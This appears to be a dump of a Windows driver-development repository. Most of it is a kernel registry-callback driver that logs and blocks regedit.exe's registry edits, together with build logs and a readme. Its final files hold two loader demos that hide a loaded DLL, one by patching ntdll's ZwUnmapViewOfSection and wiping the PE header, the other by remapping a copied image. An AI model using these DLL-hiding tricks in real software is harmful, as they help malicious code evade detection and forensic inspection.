	BOOLEAN foundCompleteName = FALSE;

	BOOLEAN partial = FALSE;

	if((!MmIsAddressValid(pRegistryObject)) || (pRegistryObject == NULL))

		return FALSE;

	/* Check to see if the partial name is really the complete name */

	if(pPartialRegistryPath != NULL)

	{

		if( (((pPartialRegistryPath->Buffer[0] == '\\') || (pPartialRegistryPath->Buffer[0] == '%')) ||

		        ((pPartialRegistryPath->Buffer[0] == 'T') && (pPartialRegistryPath->Buffer[1] == 'R') && 

				(pPartialRegistryPath->Buffer[2] == 'Y') && (pPartialRegistryPath->Buffer[3] == '\\'))) )

		{

			RtlCopyUnicodeString(pRegistryPath, pPartialRegistryPath);

			partial = TRUE;

			foundCompleteName = TRUE;

		}

	}

	if(!foundCompleteName)

	{

		/* Query the object manager in the kernel for the complete name */

		NTSTATUS status;

		ULONG returnedLength;

		PUNICODE_STRING pObjectName = NULL;

		status = ObQueryNameString(pRegistryObject, (POBJECT_NAME_INFORMATION)pObjectName, 0, &returnedLength );

		if(status == STATUS_INFO_LENGTH_MISMATCH)

		{

			pObjectName = ExAllocatePoolWithTag(NonPagedPool, returnedLength, REGISTRY_POOL_TAG);

			status = ObQueryNameString(pRegistryObject, (POBJECT_NAME_INFORMATION)pObjectName, returnedLength, &returnedLength );

			if(NT_SUCCESS(status))

			{

				RtlCopyUnicodeString(pRegistryPath, pObjectName);

				foundCompleteName = TRUE;

			}

			ExFreePoolWithTag(pObjectName, REGISTRY_POOL_TAG);

		}

	}

	return foundCompleteName;

}



NTSTATUS RegistryCallback

(

    IN PVOID CallbackContext,

    IN PVOID Argument1,

    IN PVOID Argument2

)

{

	long type;

	NTSTATUS CallbackStatus=STATUS_SUCCESS;

	UNICODE_STRING registryPath;

	registryPath.Length = 0;

	registryPath.MaximumLength = 2048 * sizeof(WCHAR);

	registryPath.Buffer = ExAllocatePoolWithTag(NonPagedPool, registryPath.MaximumLength, REGISTRY_POOL_TAG);

	if(registryPath.Buffer == NULL)

		return STATUS_SUCCESS;

	type = (REG_NOTIFY_CLASS)Argument1;

	switch(type)

	{

		case RegNtPreCreateKeyEx:	//出现两次是因为一次是OpenKey，一次是createKey

		{

			if(IsProcessName("regedit.exe",PsGetCurrentProcess()))

			{

				GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject);

				DbgPrint("[RegNtPreCreateKeyEx]KeyPath: %wZ",&registryPath);	//新键的路径

				DbgPrint("[RegNtPreCreateKeyEx]KeyName: %wZ",

						((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName);//新键的名称

				CallbackStatus=STATUS_ACCESS_DENIED;

			}

			break;

		}

		case RegNtPreDeleteKey:

		{

			if(IsProcessName("regedit.exe",PsGetCurrentProcess()))

			{

				GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_DELETE_KEY_INFORMATION)Argument2)->Object);

				DbgPrint("[RegNtPreDeleteKey]%wZ",&registryPath);				//新键的路径

				CallbackStatus=STATUS_ACCESS_DENIED;

			}

			break;

		}

		case RegNtPreSetValueKey:

		{

			if(IsProcessName("regedit.exe",PsGetCurrentProcess()))

			{

				GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->Object);

				DbgPrint("[RegNtPreSetValueKey]KeyPath: %wZ",&registryPath);

				DbgPrint("[RegNtPreSetValueKey]ValName: %wZ",((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->ValueName);

				CallbackStatus=STATUS_ACCESS_DENIED;

			}

			break;

		}

		case RegNtPreDeleteValueKey:

		{

			if(IsProcessName("regedit.exe",PsGetCurrentProcess()))

			{

				GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_DELETE_VALUE_KEY_INFORMATION)Argument2)->Object);

				DbgPrint("[RegNtPreDeleteValueKey]KeyPath: %wZ",&registryPath);

				DbgPrint("[RegNtPreDeleteValueKey]ValName: %wZ",((PREG_DELETE_VALUE_KEY_INFORMATION)Argument2)->ValueName);

				CallbackStatus=STATUS_ACCESS_DENIED;

			}

			break;

		}

		case RegNtPreRenameKey:

		{

			if(IsProcessName("regedit.exe",PsGetCurrentProcess()))

			{

				GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_RENAME_KEY_INFORMATION)Argument2)->Object);

				DbgPrint("[RegNtPreRenameKey]KeyPath: %wZ",&registryPath);

				DbgPrint("[RegNtPreRenameKey]NewName: %wZ",((PREG_RENAME_KEY_INFORMATION)Argument2)->NewName);

				CallbackStatus=STATUS_ACCESS_DENIED;

			}

			break;

		}

		//『注册表编辑器』里的“重命名键值”是没有直接函数的，是先SetValueKey再DeleteValueKey

		default:

			break;

	}

	if(registryPath.Buffer != NULL)

		ExFreePoolWithTag(registryPath.Buffer, REGISTRY_POOL_TAG);

	return CallbackStatus;

}






src/nt5x86/testcode.h

#include <ntddk.h>

#include <ntstrsafe.h>



#define REGISTRY_POOL_TAG 'pRE'



LARGE_INTEGER CmHandle;

NTSTATUS CmSt;



/*

	在NT5上【部分pre处理函数】和【结构体部分成员】不可用，只能用于拦截/放行注册操作，类似于ARK的『禁止创建注册表XXX』之类的功能

	以下实现的是【禁止创建注册表项】和【禁止创建注册表键值】

*/

NTSTATUS RegistryCallback

(

    IN PVOID CallbackContext,

    IN PVOID Argument1,

    IN PVOID Argument2

)

{

	long type = (REG_NOTIFY_CLASS)Argument1;

	switch(type)

	{

		case RegNtSetValueKey:

		case RegNtPreCreateKey:

		{

			return STATUS_ACCESS_DENIED;

		}

		default:

			break;

	}

	return STATUS_SUCCESS;

}






src/nt5x86/MyDriver.c

//驱动开发模板

//作者：Tesla.Angela(GDUT.HWL)



#include <ntddk.h>

#include <windef.h>

#include <stdlib.h>

#include <ntimage.h>

#include "MyDriver.h"

#include "testcode.h"



VOID DriverUnload(PDRIVER_OBJECT pDriverObj)

{	

	UNICODE_STRING strLink;

	//delete CmpCallback

	if(NT_SUCCESS(CmSt))

		CmUnRegisterCallback(CmHandle);

	RtlInitUnicodeString(&strLink, LINK_NAME);

	IoDeleteSymbolicLink(&strLink);

	IoDeleteDevice(pDriverObj->DeviceObject);

}



NTSTATUS DispatchCreate(PDEVICE_OBJECT pDevObj, PIRP pIrp)

{

	pIrp->IoStatus.Status = STATUS_SUCCESS;

	pIrp->IoStatus.Information = 0;

	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;

}



NTSTATUS DispatchClose(PDEVICE_OBJECT pDevObj, PIRP pIrp)

{

	pIrp->IoStatus.Status = STATUS_SUCCESS;

	pIrp->IoStatus.Information = 0;

	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;

}



NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp)

{

	NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;

	PIO_STACK_LOCATION pIrpStack;

	ULONG uIoControlCode;

	PVOID pIoBuffer;

	ULONG uInSize;

	ULONG uOutSize;

	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);

	uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;

	pIoBuffer = pIrp->AssociatedIrp.SystemBuffer;

	uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;

	uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;

	switch(uIoControlCode)

	{

	}

	if(status == STATUS_SUCCESS)

		pIrp->IoStatus.Information = uOutSize;

	else

		pIrp->IoStatus.Information = 0;	

	pIrp->IoStatus.Status = status;

	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return status;

}



NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)

{

	NTSTATUS status = STATUS_SUCCESS;

	UNICODE_STRING ustrLinkName;

	UNICODE_STRING ustrDevName;  

	PDEVICE_OBJECT pDevObj;

	pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreate;

	pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchClose;

	pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;

	pDriverObj->DriverUnload = DriverUnload;

	RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);

	status = IoCreateDevice(pDriverObj, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj);

	if(!NT_SUCCESS(status))	return status;

	if(IoIsWdmVersionAvailable(1, 0x10))

		RtlInitUnicodeString(&ustrLinkName, LINK_GLOBAL_NAME);

	else

		RtlInitUnicodeString(&ustrLinkName, LINK_NAME);

	status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);  	

	if(!NT_SUCCESS(status))

	{

		IoDeleteDevice(pDevObj); 

		return status;

	}

	//Register CmpCallback

	DbgPrint("MAGIC TEST");

	CmSt=CmRegisterCallback(RegistryCallback,NULL,&CmHandle);

	if(NT_SUCCESS(CmSt))

		DbgPrint("CmRegisterCallback SUCCESS!");

	else

		DbgPrint("CmRegisterCallback Failed!");

	return STATUS_SUCCESS;

}






src/nt6x64/MyDriver.c

//驱动开发模板

//作者：Tesla.Angela(GDUT.HWL)



#include <ntddk.h>

#include <windef.h>

#include <stdlib.h>

#include <ntimage.h>

#include "MyDriver.h"

#include "testcode.h"



VOID DriverUnload(PDRIVER_OBJECT pDriverObj)

{	

	UNICODE_STRING strLink;

	//delete CmpCallback

	if(NT_SUCCESS(CmSt))

		CmUnRegisterCallback(CmHandle);

	RtlInitUnicodeString(&strLink, LINK_NAME);

	IoDeleteSymbolicLink(&strLink);

	IoDeleteDevice(pDriverObj->DeviceObject);

}



NTSTATUS DispatchCreate(PDEVICE_OBJECT pDevObj, PIRP pIrp)

{

	pIrp->IoStatus.Status = STATUS_SUCCESS;

	pIrp->IoStatus.Information = 0;

	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;

}



NTSTATUS DispatchClose(PDEVICE_OBJECT pDevObj, PIRP pIrp)

{

	pIrp->IoStatus.Status = STATUS_SUCCESS;

	pIrp->IoStatus.Information = 0;

	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;

}



NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp)

{

	NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;

	PIO_STACK_LOCATION pIrpStack;

	ULONG uIoControlCode;

	PVOID pIoBuffer;

	ULONG uInSize;

	ULONG uOutSize;

	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);

	uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;

	pIoBuffer = pIrp->AssociatedIrp.SystemBuffer;

	uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;

	uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;

	switch(uIoControlCode)

	{

	}

	if(status == STATUS_SUCCESS)

		pIrp->IoStatus.Information = uOutSize;

	else

		pIrp->IoStatus.Information = 0;	

	pIrp->IoStatus.Status = status;

	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return status;

}



NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)

{

	NTSTATUS status = STATUS_SUCCESS;

	UNICODE_STRING ustrLinkName;

	UNICODE_STRING ustrDevName;  

	PDEVICE_OBJECT pDevObj;

	pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreate;

	pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchClose;

	pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;

	pDriverObj->DriverUnload = DriverUnload;

	RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);

	status = IoCreateDevice(pDriverObj, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj);

	if(!NT_SUCCESS(status))	return status;

	if(IoIsWdmVersionAvailable(1, 0x10))

		RtlInitUnicodeString(&ustrLinkName, LINK_GLOBAL_NAME);

	else

		RtlInitUnicodeString(&ustrLinkName, LINK_NAME);

	status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);  	

	if(!NT_SUCCESS(status))

	{

		IoDeleteDevice(pDevObj); 

		return status;

	}

	//Register CmpCallback

	DbgPrint("MAGIC TEST");

	CmSt=CmRegisterCallback(RegistryCallback,NULL,&CmHandle);

	if(NT_SUCCESS(CmSt))

		DbgPrint("CmRegisterCallback SUCCESS!");

	else

		DbgPrint("CmRegisterCallback Failed!");

	return STATUS_SUCCESS;

}






bin/说明.txt

CmRegMonitor_for_xp.sys：禁止新建键值和项。【仅支持XP X86】

CmRegMonitor_x64.sys：禁止了新建项、删除项、新建键值、删除键值以及重命名项，并在DBGVIEW里打印出相关的信息。【支持WIN7 X64和WIN8 X64】



还不懂怎么样在WIN64下玩驱动？参考这里：http://www.m5home.com/bbs/thread-5893-1-1.html






src/nt6x64/buildfre_win7_amd64.log

BUILD: corrupt database (Directory error)

BUILD: Computing Include file dependencies:

BUILD: Examining d:\programming\oacr invalidate root:amd64fre /autocleanqueue

1>Compiling and Linking d:\programming\1>'nmake.exe /nologo BUILDMSG=Stop. -i BUILD_PASS=PASS2 LINKONLY=1 NOPASS0=1 MAKEDIR_RELATIVE_TO_BASEDIR='

1>d:\programming\1> C:\WinDDK\7600.16385.1\Bin\amd64\oacr\oacrcl @d:\programming\1>Microsoft (R) C/C++ Optimizing Compiler Version 15.00.30729.207 for x64

1>Copyright (C) Microsoft Corporation.  All rights reserved.

1>cl /Fo"d:\programming\1> /FC

1> /Iamd64\

1> /I.

1> /I.

1> /Id:\programming\1> /IC:\WinDDK\7600.16385.1\inc\api

1> /IC:\WinDDK\7600.16385.1\inc\api

1> /IC:\WinDDK\7600.16385.1\inc\ddk

1> /IC:\WinDDK\7600.16385.1\inc\ddk

1> /IC:\WinDDK\7600.16385.1\inc\crt

1> /D_WIN64

1> /D_AMD64_

1> /DAMD64

1> /DCONDITION_HANDLING=1

1> /DNT_UP=1

1> /DNT_INST=0

1> /DWIN32=100

1> /D_NT1X_=100

1> /DWINNT=1

1> /D_WIN32_WINNT=0x0601

1> /DWINVER=0x0601

1> /D_WIN32_IE=0x0800

1> /DWIN32_LEAN_AND_MEAN=1

1> /DDEVL=1

1> /D__BUILDMACHINE__=WinDDK

1> /DNDEBUG

1> /D_DLL=1

1> /DNDEBUG

1> /DNTDDI_VERSION=0x06010000

1> /c

1> /Zc:wchar_t-

1> /Zl

1> /Zp8

1> /Gy

1> -cbstring

1> /W3

1> /WX

1> /EHs-c-

1> /GR-

1> /GF

1> /GS

1> /Zi

1> /Oxs

1> /GL

1> /Zi

1> /Fdd:\programming\1> /DKMDF_MAJOR_VERSION_STRING=01

1> /DKMDF_MINOR_VERSION_STRING=009

1> /typedil-

1> /wd4603

1> /wd4627

1> /FIC:\WinDDK\7600.16385.1\inc\api\warning.h

1> .\mydriver.c 

1>mydriver.c

1> C:\WinDDK\7600.16385.1\Bin\amd64\oacr\oacrlink /out:d:\programming\1>Microsoft (R) Incremental Linker Version 9.00.30729.207

1>Copyright (C) Microsoft Corporation.  All rights reserved.

1>/MERGE:_PAGE=PAGE 

1>/MERGE:_TEXT=.text 

1>/SECTION:INIT,d 

1>/OPT:REF 

1>/OPT:ICF 

1>/IGNORE:4198,4010,4037,4039,4065,4070,4078,4087,4089,4221,4108,4088,4218,4218,4235 

1>/INCREMENTAL:NO 

1>/release 

1>/NODEFAULTLIB 

1>/WX 

1>/debug 

1>/debugtype:cv,fixup,pdata 

1>/version:6.1 

1>/osversion:6.1 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hotpatch.obj 

1>/functionpadmin:6 

1>/pdbcompress 

1>/STACK:0x40000,0x1000 

1>/driver 

1>/base:0x10000 

1>/subsystem:native,6.01 

1>/entry:GsDriverEntry 

1>/out:d:\programming\1>d:\programming\1>C:\WinDDK\7600.16385.1\lib\win7\amd64\BufferOverflowK.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\ntoskrnl.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hal.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\wmilib.lib 

1>mydriver.obj : MSIL .netmodule or module compiled with /GL found; restarting link with /LTCG; add /LTCG to the link command line to improve linker performance

1>Microsoft (R) Incremental Linker Version 9.00.30729.207

1>Copyright (C) Microsoft Corporation.  All rights reserved.

1>/MERGE:_PAGE=PAGE 

1>/MERGE:_TEXT=.text 

1>/SECTION:INIT,d 

1>/OPT:REF 

1>/OPT:ICF 

1>/IGNORE:4198,4010,4037,4039,4065,4070,4078,4087,4089,4221,4108,4088,4218,4218,4235 

1>/INCREMENTAL:NO 

1>/release 

1>/NODEFAULTLIB 

1>/WX 

1>/debug 

1>/debugtype:cv,fixup,pdata 

1>/version:6.1 

1>/osversion:6.1 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hotpatch.obj 

1>/functionpadmin:6 

1>/pdbcompress 

1>/STACK:0x40000,0x1000 

1>/driver 

1>/base:0x10000 

1>/subsystem:native,6.01 

1>/entry:GsDriverEntry 

1>/out:d:\programming\1>d:\programming\1>C:\WinDDK\7600.16385.1\lib\win7\amd64\BufferOverflowK.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\ntoskrnl.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hal.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\wmilib.lib 

1>Generating code

1>Finished generating code








src/nt5x86/buildfre_win7_x86.log

BUILD: corrupt database (Directory error)

BUILD: Computing Include file dependencies:

BUILD: Examining d:\programming\oacr invalidate root:x86fre /autocleanqueue

1>Compiling and Linking d:\programming\1>'nmake.exe /nologo BUILDMSG=Stop. -i BUILD_PASS=PASS2 LINKONLY=1 NOPASS0=1 MAKEDIR_RELATIVE_TO_BASEDIR='

1>d:\programming\1> C:\WinDDK\7600.16385.1\Bin\x86\oacr\oacrlink /out:d:\programming\1>Microsoft (R) Incremental Linker Version 9.00.30729.207

1>Copyright (C) Microsoft Corporation.  All rights reserved.

1>/MERGE:_PAGE=PAGE 

1>/MERGE:_TEXT=.text 

1>/SECTION:INIT,d 

1>/OPT:REF 

1>/OPT:ICF 

1>/IGNORE:4198,4010,4037,4039,4065,4070,4078,4087,4089,4221 

1>/INCREMENTAL:NO 

1>/release 

1>/NODEFAULTLIB 

1>/WX 

1>/debug 

1>/debugtype:cv,fixup,pdata 

1>/version:6.1 

1>/osversion:6.1 

1>/functionpadmin:5 

1>/safeseh 

1>/pdbcompress 

1>/STACK:0x40000,0x1000 

1>/driver 

1>/base:0x10000 

1>/subsystem:native,6.01 

1>/entry:GsDriverEntry@8 

1>/out:d:\programming\1>d:\programming\1>C:\WinDDK\7600.16385.1\lib\win7\i386\BufferOverflowK.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\i386\ntoskrnl.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\i386\hal.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\i386\wmilib.lib 








bin/CmRegMonitor_for_xp.sys





bin/CmRegMonitor_x64.sys






思路一/myloader.cpp

#include <WINDOWS.H>

#include <STDIO.H>

typedef void(* tstFunc)(void);

main()

{

	//load to mem

	HMODULE hdll = LoadLibrary("tstDll.dll");



	//test,1st time

	tstFunc func = (tstFunc)GetProcAddress(hdll, "tstFunc");

	func();



	//say goodbye to my dear Dll

	DWORD *dwZwAdrr = (DWORD *)GetProcAddress(LoadLibrary("ntdll.dll"), "ZwUnmapViewOfSection");

	DWORD oldZwCode = *dwZwAdrr;

	DWORD dwOldProtect;

	VirtualProtect(dwZwAdrr, 1, PAGE_EXECUTE_READWRITE, &dwOldProtect);

	*dwZwAdrr = 0x900008C2;

	FreeLibrary(hdll);



	//now should recover the syscall 

	*dwZwAdrr = oldZwCode;

	VirtualProtect(dwZwAdrr, 1, dwOldProtect, &dwOldProtect);



	//f*ck the PE header

	DWORD dwSize = sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS);

	VirtualProtect(hdll, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);

	memset(hdll, 0, dwSize);



	//all done,test againt

	func();

}






思路二/myloaderII.cpp

#include <WINDOWS.H>

#include <STDIO.H>

typedef void(* tstFunc)(void);

main()

{

	//load to mem

	HMODULE hdll = LoadLibrary("tstDll.dll");



	//test,1st time

	tstFunc func = (tstFunc)GetProcAddress(hdll, "tstFunc");

	func();



	//copy image 2 mem_buffer

	DWORD *dwZwAdrr = (DWORD *)GetProcAddress(LoadLibrary("ntdll.dll"), "ZwUnmapViewOfSection");

	DWORD oldZwCode = *dwZwAdrr;

	DWORD dwOldProtect;

	VirtualProtect(dwZwAdrr, 1, PAGE_EXECUTE_READWRITE, &dwOldProtect);

	

	IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)hdll;

	IMAGE_NT_HEADERS *ntHerders = (IMAGE_NT_HEADERS *)((DWORD)hdll + dosHeader->e_lfanew);

	DWORD dwImageSize = ntHerders->OptionalHeader.SizeOfImage;



	DWORD *dwMBuff = (DWORD *)VirtualAlloc(NULL, dwImageSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	memcpy(dwMBuff, hdll, dwImageSize);

	

	//now free it

	FreeLibrary(hdll);



	//Dll is going home 

	VirtualAlloc(hdll, dwImageSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	memcpy(hdll, dwMBuff, dwImageSize);



	//all done,test againt

	func();

}






思路一/tstDll.dll





思路二/tstDll.dll





